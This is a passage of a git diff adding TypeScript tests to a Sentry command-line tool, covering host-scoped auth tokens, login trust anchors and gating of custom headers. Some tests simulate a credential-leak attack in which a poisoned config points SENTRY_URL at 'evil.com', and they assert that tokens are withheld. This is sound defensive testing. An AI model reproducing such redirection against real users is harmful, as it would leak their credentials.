"login", + ]); + }); + + test("skips leading --flag (no value)", () => { + expect(extractPositionals(["--json", "auth", "login"])).toEqual([ + "auth", + "login", + ]); + }); + + test("skips short -f flag", () => { + expect(extractPositionals(["-v", "auth", "login"])).toEqual([ + "auth", + "login", + ]); + }); + + test("skips interleaved flags", () => { + expect( + extractPositionals(["--json", "auth", "--verbose", "login"]) + ).toEqual(["auth", "login"]); + }); + + test("-- terminates flag parsing; everything after is positional", () => { + expect(extractPositionals(["--", "--not-a-flag", "auth", "login"])).toEqual( + ["--not-a-flag", "auth", "login"] + ); + }); + + test("empty argv → empty positionals", () => { + expect(extractPositionals([])).toEqual([]); + }); + + test("all-flags argv → empty positionals", () => { + expect(extractPositionals(["--json", "--verbose", "-v"])).toEqual([]); + }); +}); + +describe("isTrustChangingCommand", () => { + test("matches bare 'auth login'", () => { + expect(isTrustChangingCommand(["auth", "login"])).toBe(true); + }); + + test("matches 'auth logout'", () => { + expect(isTrustChangingCommand(["auth", "logout"])).toBe(true); + }); + + test("matches 'auth login --url '", () => { + expect( + isTrustChangingCommand([ + "auth", + "login", + "--url", + "https://sentry.example.com", + ]) + ).toBe(true); + }); + + test("matches 'auth login' with leading global flag", () => { + // Regression: earlier version used args[0]/args[1] positionally, which + // failed when any flag preceded the command. + expect(isTrustChangingCommand(["--json", "auth", "login"])).toBe(true); + }); + + test("matches 'auth login' with leading short flag", () => { + expect(isTrustChangingCommand(["-v", "auth", "login"])).toBe(true); + }); + + test("does NOT match 'auth status' (credentials required)", () => { + expect(isTrustChangingCommand(["auth", "status"])).toBe(false); + }); + + test("does NOT match 'auth whoami'", () => { + expect(isTrustChangingCommand(["auth", "whoami"])).toBe(false); + }); + + test("does NOT match 'auth refresh' (needs matching token scope)", () => { + expect(isTrustChangingCommand(["auth", "refresh"])).toBe(false); + }); + + test("does NOT match non-auth commands", () => { + expect(isTrustChangingCommand(["issue", "list"])).toBe(false); + expect(isTrustChangingCommand(["project", "view", "foo"])).toBe(false); + }); + + test("does NOT match 'login' without auth prefix (top-level alias doesn't exist)", () => { + expect(isTrustChangingCommand(["login"])).toBe(false); + }); + + test("does NOT match empty argv", () => { + expect(isTrustChangingCommand([])).toBe(false); + }); +}); diff --git a/test/commands/auth/login.test.ts b/test/commands/auth/login.test.ts index ae9208c66..f037e5135 100644 --- a/test/commands/auth/login.test.ts +++ b/test/commands/auth/login.test.ts @@ -240,7 +240,13 @@ describe("loginCommand.func --token path", () => { timeout: 900, }); - expect(setAuthTokenSpy).toHaveBeenCalledWith("my-token"); + // Token stored with host scope (host resolved from SENTRY_HOST/SENTRY_URL + // or default SaaS — see setAuthToken in db/auth.ts). + expect(setAuthTokenSpy).toHaveBeenCalled(); + expect(setAuthTokenSpy.mock.calls[0]?.[0]).toBe("my-token"); + expect(setAuthTokenSpy.mock.calls[0]?.[3]).toMatchObject({ + host: expect.any(String), + }); expect(getCurrentUserSpy).toHaveBeenCalled(); expect(setUserInfoSpy).toHaveBeenCalledWith({ userId: "42", @@ -385,7 +391,11 @@ describe("loginCommand.func --token path", () => { }); expect(clearAuthSpy).toHaveBeenCalled(); - expect(setAuthTokenSpy).toHaveBeenCalledWith("new-token"); + expect(setAuthTokenSpy).toHaveBeenCalled(); + expect(setAuthTokenSpy.mock.calls[0]?.[0]).toBe("new-token"); + expect(setAuthTokenSpy.mock.calls[0]?.[3]).toMatchObject({ + host: expect.any(String), + }); expect(getStdout()).toContain("Authenticated"); }); @@ -570,7 +580,12 @@ describe("login re-authentication interactive prompt", () => { }); expect(clearAuthSpy).toHaveBeenCalled(); - expect(setAuthTokenSpy).toHaveBeenCalledWith("new-token"); + // Token stored with host scope (4th arg = { host: ... }) + expect(setAuthTokenSpy).toHaveBeenCalled(); + expect(setAuthTokenSpy.mock.calls[0]?.[0]).toBe("new-token"); + expect(setAuthTokenSpy.mock.calls[0]?.[3]).toMatchObject({ + host: expect.any(String), + }); } finally { setAuthTokenSpy.mockRestore(); getUserRegionsSpy.mockRestore(); @@ -579,3 +594,186 @@ describe("login re-authentication interactive prompt", () => { } }); }); + +describe("applyLoginUrl (host resolution)", () => { + let savedHost: string | undefined; + let savedUrl: string | undefined; + + beforeEach(() => { + savedHost = process.env.SENTRY_HOST; + savedUrl = process.env.SENTRY_URL; + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + }); + + afterEach(() => { + if (savedHost !== undefined) { + process.env.SENTRY_HOST = savedHost; + } else { + delete process.env.SENTRY_HOST; + } + if (savedUrl !== undefined) { + process.env.SENTRY_URL = savedUrl; + } else { + delete process.env.SENTRY_URL; + } + }); + + test("explicit --url takes precedence and writes env", async () => { + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + const host = applyLoginUrl("https://sentry.example.com"); + expect(host).toBe("https://sentry.example.com"); + expect(process.env.SENTRY_HOST).toBe("https://sentry.example.com"); + expect(process.env.SENTRY_URL).toBe("https://sentry.example.com"); + }); + + test("no --url + no env falls back to SaaS default", async () => { + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + expect(applyLoginUrl(undefined)).toBe("https://sentry.io"); + }); + + test("no --url + SENTRY_HOST with scheme uses env host", async () => { + process.env.SENTRY_HOST = "https://sentry.acme.com"; + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + expect(applyLoginUrl(undefined)).toBe("https://sentry.acme.com"); + }); + + test("no --url + bare hostname SENTRY_HOST prefixes https:// (bug fix)", async () => { + // Regression: applyLoginUrl previously called normalizeOrigin directly + // on bare hostnames. new URL("sentry.acme.com") throws → silent fallback + // to SaaS default → token mis-scoped. + process.env.SENTRY_HOST = "sentry.acme.com"; + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + expect(applyLoginUrl(undefined)).toBe("https://sentry.acme.com"); + }); + + test("no --url + bare hostname SENTRY_URL prefixes https://", async () => { + process.env.SENTRY_URL = "sentry.acme.com"; + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + expect(applyLoginUrl(undefined)).toBe("https://sentry.acme.com"); + }); + + test("SENTRY_HOST takes precedence over SENTRY_URL", async () => { + process.env.SENTRY_HOST = "https://host.example.com"; + process.env.SENTRY_URL = "https://url.example.com"; + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + expect(applyLoginUrl(undefined)).toBe("https://host.example.com"); + }); +}); + +describe("applyLoginUrl (trust anchor registration)", () => { + let savedHost: string | undefined; + let savedUrl: string | undefined; + + beforeEach(async () => { + savedHost = process.env.SENTRY_HOST; + savedUrl = process.env.SENTRY_URL; + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + const { resetEnvTokenHostForTesting } = await import( + "../../../src/lib/env-token-host.js" + ); + const { resetLoginTrustAnchorForTesting } = await import( + "../../../src/lib/token-host.js" + ); + resetEnvTokenHostForTesting(); + resetLoginTrustAnchorForTesting(); + }); + + afterEach(async () => { + if (savedHost !== undefined) { + process.env.SENTRY_HOST = savedHost; + } else { + delete process.env.SENTRY_HOST; + } + if (savedUrl !== undefined) { + process.env.SENTRY_URL = savedUrl; + } else { + delete process.env.SENTRY_URL; + } + const { resetEnvTokenHostForTesting } = await import( + "../../../src/lib/env-token-host.js" + ); + const { resetLoginTrustAnchorForTesting } = await import( + "../../../src/lib/token-host.js" + ); + resetEnvTokenHostForTesting(); + resetLoginTrustAnchorForTesting(); + }); + + test("explicit --url registers trust anchor (user-supplied argv is trusted)", async () => { + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + const { isRequestOriginTrustedForCustomHeaders } = await import( + "../../../src/lib/token-host.js" + ); + applyLoginUrl("https://sentry.acme.com"); + expect( + isRequestOriginTrustedForCustomHeaders( + "https://sentry.acme.com/oauth/device/code/" + ) + ).toBe(true); + }); + + test("SENTRY_HOST from boot env registers trust anchor (shell export is trusted)", async () => { + process.env.SENTRY_HOST = "https://sentry.acme.com"; + const { captureEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + const { isRequestOriginTrustedForCustomHeaders } = await import( + "../../../src/lib/token-host.js" + ); + applyLoginUrl(undefined); + expect( + isRequestOriginTrustedForCustomHeaders( + "https://sentry.acme.com/oauth/device/code/" + ) + ).toBe(true); + }); + + test("rc-poisoned SENTRY_URL does NOT register trust anchor (attacker path)", async () => { + // Boot: no env set → env-token-host captures SaaS default + const { captureEnvTokenHost } = await import( + "../../../src/lib/env-token-host.js" + ); + captureEnvTokenHost(); + + // Simulate .sentryclirc shim writing env.SENTRY_URL AFTER boot (the + // skipUrlTrustCheck bypass on auth login). This is the attacker path. + process.env.SENTRY_URL = "https://evil.com"; + + const { applyLoginUrl } = await import( + "../../../src/commands/auth/login.js" + ); + const { isRequestOriginTrustedForCustomHeaders } = await import( + "../../../src/lib/token-host.js" + ); + applyLoginUrl(undefined); + + // The rc-sourced host doesn't match boot env (which was empty → + // SaaS default) → NOT registered as trust anchor. + // applyCustomHeaders against evil.com must fail closed. + expect( + isRequestOriginTrustedForCustomHeaders( + "https://evil.com/oauth/device/code/" + ) + ).toBe(false); + }); +}); diff --git a/test/commands/event/view.test.ts b/test/commands/event/view.test.ts index ba30682eb..a89bc01cd 100644 --- a/test/commands/event/view.test.ts +++ b/test/commands/event/view.test.ts @@ -258,19 +258,25 @@ describe("parsePositionalArgs", () => { }); }); - // URL integration tests — applySentryUrlContext may set SENTRY_HOST/SENTRY_URL as a side effect + // URL integration tests — applySentryUrlContext may set SENTRY_HOST/SENTRY_URL as a side effect. + // Host-scoping: self-hosted URLs now require the token to be scoped to the + // same host. Tests seed SENTRY_HOST before parsing so env-token-host matches. describe("Sentry URL inputs", () => { let savedSentryUrl: string | undefined; let savedSentryHost: string | undefined; - beforeEach(() => { + beforeEach(async () => { savedSentryUrl = process.env.SENTRY_URL; savedSentryHost = process.env.SENTRY_HOST; delete process.env.SENTRY_URL; delete process.env.SENTRY_HOST; + const { resetEnvTokenHostForTesting } = await import( + "../../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); - afterEach(() => { + afterEach(async () => { if (savedSentryUrl !== undefined) { process.env.SENTRY_URL = savedSentryUrl; } else { @@ -281,6 +287,10 @@ describe("parsePositionalArgs", () => { } else { delete process.env.SENTRY_HOST; } + const { resetEnvTokenHostForTesting } = await import( + "../../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); test("event URL extracts eventId and passes org as OrgAll target", () => { @@ -291,7 +301,8 @@ describe("parsePositionalArgs", () => { expect(result.targetArg).toBe("my-org/"); }); - test("self-hosted event URL extracts eventId, passes org, sets SENTRY_URL", () => { + test("self-hosted event URL extracts eventId, passes org, sets SENTRY_URL (requires matching token host)", () => { + process.env.SENTRY_HOST = "https://sentry.example.com"; const result = parsePositionalArgs([ "https://sentry.example.com/organizations/acme/issues/999/events/deadbeef/", ]); diff --git a/test/e2e/auth.test.ts b/test/e2e/auth.test.ts index eaaefa379..ae8e55bdd 100644 --- a/test/e2e/auth.test.ts +++ b/test/e2e/auth.test.ts @@ -79,7 +79,14 @@ describe("sentry auth login --token", () => { test( "stores valid API token", async () => { - const result = await ctx.run(["auth", "login", "--token", TEST_TOKEN]); + const result = await ctx.run([ + "auth", + "login", + "--token", + TEST_TOKEN, + "--url", + ctx.serverUrl, + ]); // Login messages go to stderr via consola const output = result.stdout + result.stderr; @@ -153,12 +160,14 @@ describe("sentry auth logout", () => { test( "clears stored auth", async () => { - // First login + // First login (--url required for non-SaaS mock server) const loginResult = await ctx.run([ "auth", "login", "--token", TEST_TOKEN, + "--url", + ctx.serverUrl, ]); expect(loginResult.exitCode).toBe(0); diff --git a/test/fixture.ts b/test/fixture.ts index 2d98346b4..29daa7d4c 100644 --- a/test/fixture.ts +++ b/test/fixture.ts @@ -125,6 +125,12 @@ export function createE2EContext( * Write auth token directly to this context's database. * This bypasses the global process.env to avoid race conditions * when multiple test files run in parallel. + * + * Scopes the token to this context's `serverUrl` (the mock server) so + * the host-scoping fetch-layer guard admits the request — without this, + * the stored token would default to SaaS (DEFAULT_SENTRY_URL) while + * `ctx.run` points `SENTRY_URL` at the mock server, causing the guard + * to refuse to attach credentials. */ async setAuthToken(token: string): Promise { mkdirSync(configDir, { recursive: true, mode: 0o700 }); @@ -134,7 +140,7 @@ export function createE2EContext( const { setAuthToken: dbSetAuthToken } = require("../src/lib/db/auth.js"); const { closeDatabase } = require("../src/lib/db/index.js"); - await dbSetAuthToken(token); + await dbSetAuthToken(token, undefined, undefined, { host: serverUrl }); closeDatabase(); } finally { if (prevDir !== undefined) { diff --git a/test/helpers.ts b/test/helpers.ts index 2d82a058e..e37bc83f8 100644 --- a/test/helpers.ts +++ b/test/helpers.ts @@ -138,3 +138,86 @@ export function useTestConfigDir( return () => dir; } + +/** + * Save/restore a set of `process.env` keys around each test in a `describe` + * block. Saved values are restored verbatim in `afterEach`; missing keys are + * deleted on restore. Each test starts with all listed keys cleared. + * + * Use for security/host-scoping tests where env vars influence the code path + * being tested. Keeps the boilerplate `Object.fromEntries(KEYS.map(...))` + * out of every test file. + * + * Must be called at module scope or inside a `describe()` block. + */ +export function useEnvSandbox(keys: readonly string[]): void { + let saved: Record; + + beforeEach(() => { + saved = Object.fromEntries(keys.map((k) => [k, process.env[k]])); + for (const k of keys) { + delete process.env[k]; + } + }); + + afterEach(() => { + for (const k of keys) { + const v = saved[k]; + if (v !== undefined) { + process.env[k] = v; + } else { + delete process.env[k]; + } + } + }); +} + +/** + * Reset the in-process host-scoping state (env-token snapshot, login trust + * anchor, region-URL trust extension). Tests that mutate any of these + * should call this in `beforeEach` and `afterEach` to avoid bleeding state + * between cases. + */ +export async function resetHostScopingState(): Promise { + const [ + { resetEnvTokenHostForTesting }, + regions, + { resetLoginTrustAnchorForTesting }, + ] = await Promise.all([ + import("../src/lib/env-token-host.js"), + import("../src/lib/db/regions.js"), + import("../src/lib/token-host.js"), + ]); + resetEnvTokenHostForTesting(); + regions.resetTrustedRegionUrlsForTesting(); + resetLoginTrustAnchorForTesting(); +} + +/** + * Mint a `sntrys__` token shape for tests, matching + * the server's `generate_token` format + * (`getsentry/sentry/src/sentry/utils/security/orgauthtoken_token.py`). + * + * The secret tail is a fixed placeholder — its content is irrelevant to + * parsing. Padding `=` is stripped to match the server's `b64encode().rstrip("=")`. + */ +export function mintSntrysToken(payload: Record): string { + const json = JSON.stringify(payload); + const b64 = Buffer.from(json, "utf8").toString("base64").replace(/=+$/, ""); + return `sntrys_${b64}_test-secret-tail`; +} + +/** + * Extract the URL string from a fetch input (`string | URL | Request`). + * Used by tests that intercept `globalThis.fetch` and assert on the + * destination URLs of captured calls. + */ +export function extractFetchUrl(input: RequestInfo | URL): string { + if (typeof input === "string") { + return input; + } + if (input instanceof URL) { + return input.href; + } + return input.url; +} diff --git a/test/lib/arg-parsing.test.ts b/test/lib/arg-parsing.test.ts index 6d9361ad0..2bfa884f0 100644 --- a/test/lib/arg-parsing.test.ts +++ b/test/lib/arg-parsing.test.ts @@ -110,19 +110,26 @@ describe("parseOrgProjectArg", () => { }); }); - // URL integration tests — applySentryUrlContext may set SENTRY_HOST/SENTRY_URL as a side effect + // URL integration tests — applySentryUrlContext may set SENTRY_HOST/SENTRY_URL as a side effect. + // Host-scoping: non-SaaS URLs now require the token to be scoped to the + // same host. Tests that pass self-hosted URLs must set SENTRY_HOST before + // running so the env-token-host snapshot matches. describe("Sentry URL inputs", () => { let savedSentryUrl: string | undefined; let savedSentryHost: string | undefined; - beforeEach(() => { + beforeEach(async () => { savedSentryUrl = process.env.SENTRY_URL; savedSentryHost = process.env.SENTRY_HOST; delete process.env.SENTRY_URL; delete process.env.SENTRY_HOST; + const { resetEnvTokenHostForTesting } = await import( + "../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); - afterEach(() => { + afterEach(async () => { if (savedSentryUrl !== undefined) { process.env.SENTRY_URL = savedSentryUrl; } else { @@ -133,6 +140,10 @@ describe("parseOrgProjectArg", () => { } else { delete process.env.SENTRY_HOST; } + const { resetEnvTokenHostForTesting } = await import( + "../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); test("issue URL returns org-all", () => { @@ -167,7 +178,9 @@ describe("parseOrgProjectArg", () => { }); }); - test("self-hosted URL extracts org", () => { + test("self-hosted URL extracts org when token is scoped to that host", () => { + // Pin env-token to sentry.example.com so the URL-arg's host matches. + process.env.SENTRY_HOST = "https://sentry.example.com"; expect( parseOrgProjectArg( "https://sentry.example.com/organizations/acme-corp/issues/99/" @@ -177,6 +190,15 @@ describe("parseOrgProjectArg", () => { org: "acme-corp", }); }); + + test("self-hosted URL throws when token is scoped to a different host", () => { + // No SENTRY_HOST set → env-token defaults to SaaS → mismatch on self-hosted URL. + expect(() => + parseOrgProjectArg( + "https://sentry.example.com/organizations/acme-corp/issues/99/" + ) + ).toThrow(/does not match|sentry auth login --url/); + }); }); describe("space handling (no normalization)", () => { @@ -422,7 +444,8 @@ describe("parseIssueArg", () => { }); }); - test("self-hosted issue URL with query params", () => { + test("self-hosted issue URL with query params (requires matching token host)", () => { + process.env.SENTRY_HOST = "https://sentry.example.com"; expect( parseIssueArg( "https://sentry.example.com/organizations/acme/issues/32886/?project=2" @@ -503,7 +526,8 @@ describe("parseIssueArg", () => { }); }); - test("self-hosted share URL returns share type", () => { + test("self-hosted share URL returns share type (requires matching token host)", () => { + process.env.SENTRY_HOST = "https://sentry.example.com"; expect( parseIssueArg( "https://sentry.example.com/share/issue/aabbccdd11223344aabbccdd11223344/" diff --git a/test/lib/custom-headers.test.ts b/test/lib/custom-headers.test.ts index 9399984a9..3f8c083aa 100644 --- a/test/lib/custom-headers.test.ts +++ b/test/lib/custom-headers.test.ts @@ -251,13 +251,17 @@ describe("applyCustomHeaders", () => { let savedHeaders: string | undefined; let savedHost: string | undefined; - beforeEach(() => { + beforeEach(async () => { savedHeaders = process.env.SENTRY_CUSTOM_HEADERS; savedHost = process.env.SENTRY_HOST; _resetCustomHeadersCache(); + const { resetEnvTokenHostForTesting } = await import( + "../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); - afterEach(() => { + afterEach(async () => { if (savedHeaders !== undefined) { process.env.SENTRY_CUSTOM_HEADERS = savedHeaders; } else { @@ -269,14 +273,22 @@ describe("applyCustomHeaders", () => { delete process.env.SENTRY_HOST; } _resetCustomHeadersCache(); + const { resetEnvTokenHostForTesting } = await import( + "../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); }); - test("applies custom headers to Headers instance", () => { + test("applies custom headers to Headers instance when request host matches", () => { process.env.SENTRY_CUSTOM_HEADERS = "X-Test: hello; X-Other: world"; + // Pin env-token scope to the self-hosted instance so headers apply. process.env.SENTRY_HOST = "https://sentry.example.com"; const headers = new Headers({ Accept: "application/json" }); - applyCustomHeaders(headers); + applyCustomHeaders( + headers, + "https://sentry.example.com/api/0/organizations/" + ); expect(headers.get("X-Test")).toBe("hello"); expect(headers.get("X-Other")).toBe("world"); @@ -287,7 +299,10 @@ describe("applyCustomHeaders", () => { process.env.SENTRY_HOST = "https://sentry.example.com"; const headers = new Headers({ Accept: "application/json" }); - applyCustomHeaders(headers); + applyCustomHeaders( + headers, + "https://sentry.example.com/api/0/organizations/" + ); expect(headers.get("Accept")).toBe("application/json"); expect(headers.get("X-Test")).toBe("hello"); @@ -298,10 +313,28 @@ describe("applyCustomHeaders", () => { delete process.env.SENTRY_HOST; const headers = new Headers({ Accept: "application/json" }); - applyCustomHeaders(headers); + applyCustomHeaders(headers, "https://sentry.io/api/0/"); // Only the original header const keys = [...headers.keys()]; expect(keys).toEqual(["accept"]); }); + + test("skips custom headers when request URL host does not match trusted host (CVE defense)", () => { + // Self-hosted user has IAP token configured for their proxy: + process.env.SENTRY_CUSTOM_HEADERS = "X-IAP-Token: secret"; + process.env.SENTRY_HOST = "https://sentry.example.com"; + + // A share URL from an attacker resolves to evil.example.com. Even though + // applyCustomHeaders is on a non-SaaS codepath (isSelfHosted()==true for + // this host-config), the request's destination is the untrusted URL, so + // the IAP token must NOT attach. + const headers = new Headers({ Accept: "application/json" }); + applyCustomHeaders( + headers, + "https://evil.example.com/api/0/shared/issues/deadbeef/" + ); + + expect(headers.get("X-IAP-Token")).toBeNull(); + }); }); diff --git a/test/lib/db/auth.host.test.ts b/test/lib/db/auth.host.test.ts new file mode 100644 index 000000000..eb4ea5b6b --- /dev/null +++ b/test/lib/db/auth.host.test.ts @@ -0,0 +1,233 @@ +/** + * Tests for host-scoped auth: setAuthToken persistence, getStoredAuthHost, + * NULL-host lazy migration, host preservation across refresh-style updates. + */ + +import { describe, expect, test } from "bun:test"; +import { + getStoredAuthHost, + hasUsableStoredToken, + setAuthToken, +} from "../../../src/lib/db/auth.js"; +import { getDatabase } from "../../../src/lib/db/index.js"; +import { useTestConfigDir } from "../../helpers.js"; + +describe("db/auth host scoping", () => { + useTestConfigDir("auth-host-test-"); + + test("setAuthToken persists explicit host", () => { + setAuthToken("tok-1", undefined, undefined, { + host: "https://sentry.acme.com", + }); + expect(getStoredAuthHost()).toBe("https://sentry.acme.com"); + }); + + test("setAuthToken normalizes host (lowercases + strips trailing slash)", () => { + setAuthToken("tok-1", undefined, undefined, { + host: "https://SENTRY.Acme.com/", + }); + // normalizeOrigin lowercases + strips trailing slash + expect(getStoredAuthHost()).toBe("https://sentry.acme.com"); + }); + + test("setAuthToken without host explicit uses configured host", () => { + const prevHost = process.env.SENTRY_HOST; + process.env.SENTRY_HOST = "https://env-host.example.com"; + try { + setAuthToken("tok-2"); + expect(getStoredAuthHost()).toBe("https://env-host.example.com"); + } finally { + if (prevHost === undefined) { + delete process.env.SENTRY_HOST; + } else { + process.env.SENTRY_HOST = prevHost; + } + } + }); + + test("setAuthToken without host falls back to DEFAULT_SENTRY_URL", () => { + const prevHost = process.env.SENTRY_HOST; + const prevUrl = process.env.SENTRY_URL; + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + try { + setAuthToken("tok-3"); + expect(getStoredAuthHost()).toBe("https://sentry.io"); + } finally { + if (prevHost !== undefined) { + process.env.SENTRY_HOST = prevHost; + } + if (prevUrl !== undefined) { + process.env.SENTRY_URL = prevUrl; + } + } + }); + + test("refresh-style update preserves existing host when options.host omitted", () => { + setAuthToken("tok-initial", 3600, "refresh-tok", { + host: "https://sentry.acme.com", + }); + expect(getStoredAuthHost()).toBe("https://sentry.acme.com"); + + // Simulate a refresh: new access token + same refresh token, no host + setAuthToken("tok-refreshed", 3600, "refresh-tok"); + expect(getStoredAuthHost()).toBe("https://sentry.acme.com"); + }); + + test("lazy migration: NULL host is backfilled from BOOT-TIME env on first access", async () => { + // Simulate a pre-v16 row: direct INSERT bypassing setAuthToken + const db = getDatabase(); + db.query( + "INSERT OR REPLACE INTO auth (id, token, host, updated_at) VALUES (1, 'legacy-token', NULL, ?)" + ).run(Date.now()); + + // Simulate the boot ordering: SHELL-exports SENTRY_HOST, then + // captureEnvTokenHost snapshots it. Migration reads this snapshot + // (not the current env, which could be rc-poisoned by the shim). + const { captureEnvTokenHost, resetEnvTokenHostForTesting } = await import( + "../../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); + const prevHost = process.env.SENTRY_HOST; + process.env.SENTRY_HOST = "https://legacy-configured.example.com"; + captureEnvTokenHost(); + + try { + expect(getStoredAuthHost()).toBe("https://legacy-configured.example.com"); + // Second call reads the now-populated host + expect(getStoredAuthHost()).toBe("https://legacy-configured.example.com"); + // Verify it was actually written to the DB + const row = db.query("SELECT host FROM auth WHERE id = 1").get() as { + host: string | null; + }; + expect(row.host).toBe("https://legacy-configured.example.com"); + } finally { + if (prevHost === undefined) { + delete process.env.SENTRY_HOST; + } else { + process.env.SENTRY_HOST = prevHost; + } + resetEnvTokenHostForTesting(); + } + }); + + test("lazy migration: NULL host + no boot-time env falls back to SaaS", async () => { + const db = getDatabase(); + db.query( + "INSERT OR REPLACE INTO auth (id, token, host, updated_at) VALUES (1, 'legacy-token', NULL, ?)" + ).run(Date.now()); + + const { captureEnvTokenHost, resetEnvTokenHostForTesting } = await import( + "../../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); + const prevHost = process.env.SENTRY_HOST; + const prevUrl = process.env.SENTRY_URL; + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + captureEnvTokenHost(); // captures DEFAULT_SENTRY_URL (SaaS) + + try { + expect(getStoredAuthHost()).toBe("https://sentry.io"); + } finally { + if (prevHost !== undefined) { + process.env.SENTRY_HOST = prevHost; + } + if (prevUrl !== undefined) { + process.env.SENTRY_URL = prevUrl; + } + resetEnvTokenHostForTesting(); + } + }); + + test("lazy migration: ignores rc-poisoned current env (uses boot snapshot instead)", async () => { + // Critical regression: previously migration called getConfiguredSentryUrl() + // which reads CURRENT env. If .sentryclirc shim wrote env.SENTRY_URL + // before migration fired, the token would be migrated to the + // rc-sourced (potentially attacker) host. Now migration uses the + // boot snapshot so rc writes don't affect it. + const db = getDatabase(); + db.query( + "INSERT OR REPLACE INTO auth (id, token, host, updated_at) VALUES (1, 'legacy-token', NULL, ?)" + ).run(Date.now()); + + const { captureEnvTokenHost, resetEnvTokenHostForTesting } = await import( + "../../../src/lib/env-token-host.js" + ); + resetEnvTokenHostForTesting(); + const prevHost = process.env.SENTRY_HOST; + const prevUrl = process.env.SENTRY_URL; + delete process.env.SENTRY_HOST; + delete process.env.SENTRY_URL; + captureEnvTokenHost(); // snapshots SaaS default + + // Simulate rc shim writing env.SENTRY_URL AFTER boot + process.env.SENTRY_URL = "https://rc-sourced.example.com"; + + try { + // Must migrate to the BOOT snapshot (SaaS), not the rc-sourced URL + expect(getStoredAuthHost()).toBe("https://sentry.io"); + } finally { + if (prevHost !== undefined) { + process.env.SENTRY_HOST = prevHost; + } else { + delete process.env.SENTRY_HOST; + } + if (prevUrl !== undefined) { + process.env.SENTRY_URL = prevUrl; + } else { + delete process.env.SENTRY_URL; + } + resetEnvTokenHostForTesting(); + } + }); + + test("getStoredAuthHost returns undefined when no stored token", () => { + // Nothing persisted + expect(getStoredAuthHost()).toBeUndefined(); + }); + + test("hasUsableStoredToken reflects stored row status", () => { + expect(hasUsableStoredToken()).toBe(false); + + setAuthToken("tok-usable", 3600, "refresh", { + host: "https://sentry.io", + }); + expect(hasUsableStoredToken()).toBe(true); + }); + + test("clearAuth evicts region-URL allow-list but PRESERVES login trust anchor", async () => { + // The login anchor is set by `applyLoginUrl` at the start of the + // `auth login` command lifecycle. When the user runs `auth login + // --url ` while already authenticated, the flow is: + // 1. applyLoginUrl — registers the new login trust anchor + // 2. handleExistingAuth — calls clearAuth() if user confirms + // 3. login proceeds — needs the anchor for IAP custom headers + // If clearAuth wiped the anchor at step 2, step 3 would lose it + // and IAP-protected re-authentication would fail. The anchor is + // process-local and overwritten by the NEXT applyLoginUrl, so we + // don't need to clear it on logout. + const { isLoginTrustAnchorFor, registerLoginTrustAnchor } = await import( + "../../../src/lib/token-host.js" + ); + const { isTrustedRegionOrigin, registerTrustedRegionUrls } = await import( + "../../../src/lib/db/regions.js" + ); + setAuthToken("tok-A", 3600, "refresh", { + host: "https://sentry.host-a.com", + }); + registerLoginTrustAnchor("https://sentry.host-a.com"); + registerTrustedRegionUrls(["https://us.host-a.com"]); + expect(isLoginTrustAnchorFor("https://sentry.host-a.com")).toBe(true); + expect(isTrustedRegionOrigin("https://us.host-a.com")).toBe(true); + + const { clearAuth } = await import("../../../src/lib/db/auth.js"); + await clearAuth(); + + // Region-URL allow-list cleared (was identity-specific). + expect(isTrustedRegionOrigin("https://us.host-a.com")).toBe(false); + // Login anchor PRESERVED (the `auth login --url` flow sets this + // BEFORE clearAuth runs and needs it AFTER for the device flow). + expect(isLoginTrustAnchorFor("https://sentry.host-a.com")).toBe(true); + }); +}); diff --git a/test/lib/env-token-host.test.ts b/test/lib/env-token-host.test.ts new file mode 100644 index 000000000..664fdca9e --- /dev/null +++ b/test/lib/env-token-host.test.ts @@ -0,0 +1,86 @@ +/** + * Unit tests for env-token-host snapshot capture. + * + * Asserts: + * - Snapshot reads env-only (not .sentryclirc-injected values later). + * - Default is `DEFAULT_SENTRY_URL` when env is unset. + * - `captureEnvTokenHost` is idempotent. + */ + +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { DEFAULT_SENTRY_URL } from "../../src/lib/constants.js"; +import { + captureEnvTokenHost, + getEnvTokenHost, + resetEnvTokenHostForTesting, +} from "../../src/lib/env-token-host.js"; +import { useEnvSandbox } from "../helpers.js"; + +const ENV_KEYS = ["SENTRY_HOST", "SENTRY_URL"] as const; + +describe("env-token-host", () => { + useEnvSandbox(ENV_KEYS); + beforeEach(resetEnvTokenHostForTesting); + afterEach(resetEnvTokenHostForTesting); + + test("defaults to SaaS when neither SENTRY_HOST nor SENTRY_URL is set", () => { + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe(DEFAULT_SENTRY_URL); + }); + + test("captures SENTRY_HOST when set", () => { + process.env.SENTRY_HOST = "https://sentry.acme.com"; + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe("https://sentry.acme.com"); + }); + + test("captures SENTRY_URL when SENTRY_HOST is unset", () => { + process.env.SENTRY_URL = "https://sentry.acme.com"; + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe("https://sentry.acme.com"); + }); + + test("prefers SENTRY_HOST over SENTRY_URL when both are set", () => { + process.env.SENTRY_HOST = "https://host.example.com"; + process.env.SENTRY_URL = "https://url.example.com"; + captureEnvTokenHost(); + expect(getEnvTokenHost()).toBe("https://host.example.com"); + }); + + test("normalizes bare hostname to https://", () => { + 